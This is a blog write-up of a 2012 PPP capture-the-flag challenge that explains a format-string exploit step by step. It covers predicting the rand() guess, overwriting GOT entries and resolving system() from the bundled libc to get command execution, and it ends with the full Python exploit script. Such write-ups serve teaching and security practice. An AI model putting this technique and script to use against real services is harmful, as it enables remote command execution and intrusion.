May 25, 2012 Leave a comment
PPP rocks, and even though I spent the entire CTF time this year solving just two pwnables (this being one of them) I had a ton of fun. This is a tutorial on one of their challenges that took me way too long, and even then I needed a pointer (no pun intended ha ha). I’ve seen other solutions for this posted, but here’s yet another one. I know I’ve talked with some people who wouldn’t know where to start, so this is a basic tutorial for a relatively basic problem.
They give you a tar file (linked here as 2012ppp_pwn99.tar) and an endpoint. I encourage you to give this a whirl. In the game you had to exploit this remotely on a machine you don’t have access to, which is actually the point where I got a bit stuck. So don’t cheat and put the shellcode in an environment variable or something.
The first step is to disassemble. There are several clear vulnerabilities in the main file. For example, there are at least three format strings in this block that looks something like:
.text:080489DA lea edx, [esp+54h] .text:080489DE mov eax, [esp+50h] .text:080489E2 mov [esp+8], edx ; format .text:080489E6 mov dword ptr [esp+4], 100h ; char .text:080489EE mov [esp], eax ; s .text:080489F1 call _sn_printf
esp+54h comes from the user (STDIN), and it’s the ‘username’ you enter, so with this format string we should be good to go. There are plenty of references on how to exploit format strings online, so I won’t cover the gritty details here. But I will link to some of my favorite references.
- https://net-ninja.net/article/2010/Oct/24/format-strings-from-x-to-calc/ (although it has a windows focus, and we have more available on Linux. Like the direct referencer ($) and a short word (%hn))
To exploit, we would like to hit one of these format strings. Backtracing to see how this block is hit, you first need to “win”. So there are three pieces of user input it retrieves at the beginning.
- The password. This is just hard coded as 2ipzLTxTGOtJE0Um
- The username. This has our format strings later on, but it doesn’t look like there’s any “winning” logic based on this
“Guess” is kind of interesting. It calls time, then with that value it does a few arithmetic operations (imul, sar, sub) which ends up just dividing time by sixty. It uses this as an argument to srand, and then calls rand. So if you’re accurate within 60 seconds you’re close enough. You can get this close enough value with the following snippet, referencing glibc with ctypes:
#get the correct guess libc = cdll.LoadLibrary("libc.so.6") a= libc.time(a) seconds = a/60 libc.srand(seconds) guess = libc.rand()
With the password and the guess, you’re set to reach the format string. Because the binary just goes to stdin and stdout, I tested this locally using netcat. One small trick here is to set ulimit to unlimited so when the program crashes you can examine the dump with “gdb ./problem core”:
ulimit -c unlimited ncat --exec ./problem -l 56345
First thing I wrote sockets to interact with the binary. Once that was working I figured out the offset was 19 by just adding %08x %08x…. Then, the following was to overwrite the syslog got entry found in the binary. Because there’s a call later to syslog, we can overwrite that with arbitrary values.
syslog_got = 0x8049e04 #eip b7fde30b HOW = 0x4141 LOW = 0x4141 username = struct.pack("P", syslog_got +2) + struct.pack("P", syslog_got) + "%." + str(HOW-8) +"x%19$hn%." + str(LOW-HOW)+ "x%20$hn"
At this point we control eip. I actually got this far relatively quickly. But where do we put our shellcode? At the format string, there aren’t any registers pointing near buffers we control. Theoretically username is big enough to fit in some shellcode… so that’s a possibility. Fgets buffers input, so my initial strategy was to output a giant nop sled after the format string as a place for the shellcode. Because it’s a format string, you can search for memory… So I actually got this working so I was reliably able to exploit locally across reboots, but I could never get it to work on their remote server. They weren’t using ASLR, and I wrote a program to search memory using the format string to look for my nop sled, but I was never able to find the shellcode anywhere.
Anyway, this is where I got a good pointer in the right direction by someone much better than me on the team. What he discovered was you could use the libc they included to overwrite the call to free (which has our username) with system. It uses the username for a parameter also, and is called immediately after the format string. Here’s the call to free:
.text:08048A02 mov eax, [esp+50h] .text:08048A06 mov [esp], eax ; ptr .text:08048A09 call _free
So we could make our username something like “command to execute#%08x…”, so that the system call executes up to the comment, and after that is our format string. Our final username can contain the commands first, and then the format string.
The only missing piece was finding the system address. This is how I found it.
- the printf function has a got address of 0x08049e2c
- Remember there’s no aslr or varying address. Using the read piece of the format string, you read the value at the got printf address- e.g. pass it to this function def read_format(location):
- Look at the hex step 2 returns. In this case it was (in little endian) 0xf7ed64f0
- They included a libc.so.6 file. Looking at that system is at offset 0x39450 and printf is at offset 0x474f0
- So hex (0xf7ed64f0 + (0x39450- 0x474f0)) is ‘0xf7ec8450L’, the real address of system
Knowing the real address of system, we can overwrite the got address for the free function.
The real final piece was making sure %hn was correct with the prepending commands, which changed the length of the string (and thus the values of %hn). To do this, I padded the commands to 28 characters, and took 28 from my %.<number> piece of the format string. Anyway, here is my final exploit.
from ctypes import * import socket import struct import argparse import sys parser = argparse.ArgumentParser() parser.add_argument('cmd' ) parser.add_argument('--host', default='188.8.131.52') parser.add_argument('--port', type=int, default=56345) parser.add_argument('--vm', dest='host', const="192.168.153.143", action="store_const") args = parser.parse_args() #constants syslog_got = 0x8049e04 free_got = 0x8049e18 #system_address calculated from included libc.so offsets and read free value system_address = 0xf7ec8450 def address_overwrite_format(owlocation, owvalue): HOW = owvalue >> 16 LOW = owvalue & 0xffff print hex(HOW) print hex(LOW) mformat = "" if LOW > HOW: mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(HOW-8-28) +"x%26$hn%." + str(LOW-HOW) + "x%27$hn" else: print "here" mformat = struct.pack("<I", owlocation +2) + struct.pack("<I", owlocation) + "%." + str(LOW-8-28) +"x%27$hn%." + str(HOW-LOW) + "x%26$hn" return mformat def read_format(location): #%19 without padding mlocation = struct.pack("<I", location) + " ((((%19$08s))))" return (mlocation ) def extract_hex(mstr): print mstr #must be in a format (((hex))) a = mstr.split("((((").split("))))") for ch in a: sys.stdout.write(hex(ord(ch))+ " ") print "" def pwn(username, extrastuff = ""): #get the password (found from strings) passwd = "2ipzLTxTGOtJE0Um" #get the correct guess libc = cdll.LoadLibrary("libc.so.6") a = 0 a= libc.time(a) seconds = a/60 libc.srand(seconds) guess = libc.rand() #format string in the username s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((args.host, args.port)) print s.recv(1024) s.send(passwd + "\n") print s.recv(1024) s.sendall(username + "\n") print s.recv(1024) s.sendall(str(guess) + "\n" + extrastuff) retval = s.recv(1024) retval += s.recv(1024) s.close() return retval def padcmd(cmd): #cmd must be exactly 28 bytes long if len(cmd) > 27: print "Error: cmd too long" sys.exit(-1) cmd = cmd + "#" + "A" * (27- len(cmd)) return cmd #f = read_format(0x8049e30) f = address_overwrite_format(free_got, system_address) execcmd = padcmd(args.cmd) a = pwn(execcmd + f) print a #extract_hex(a)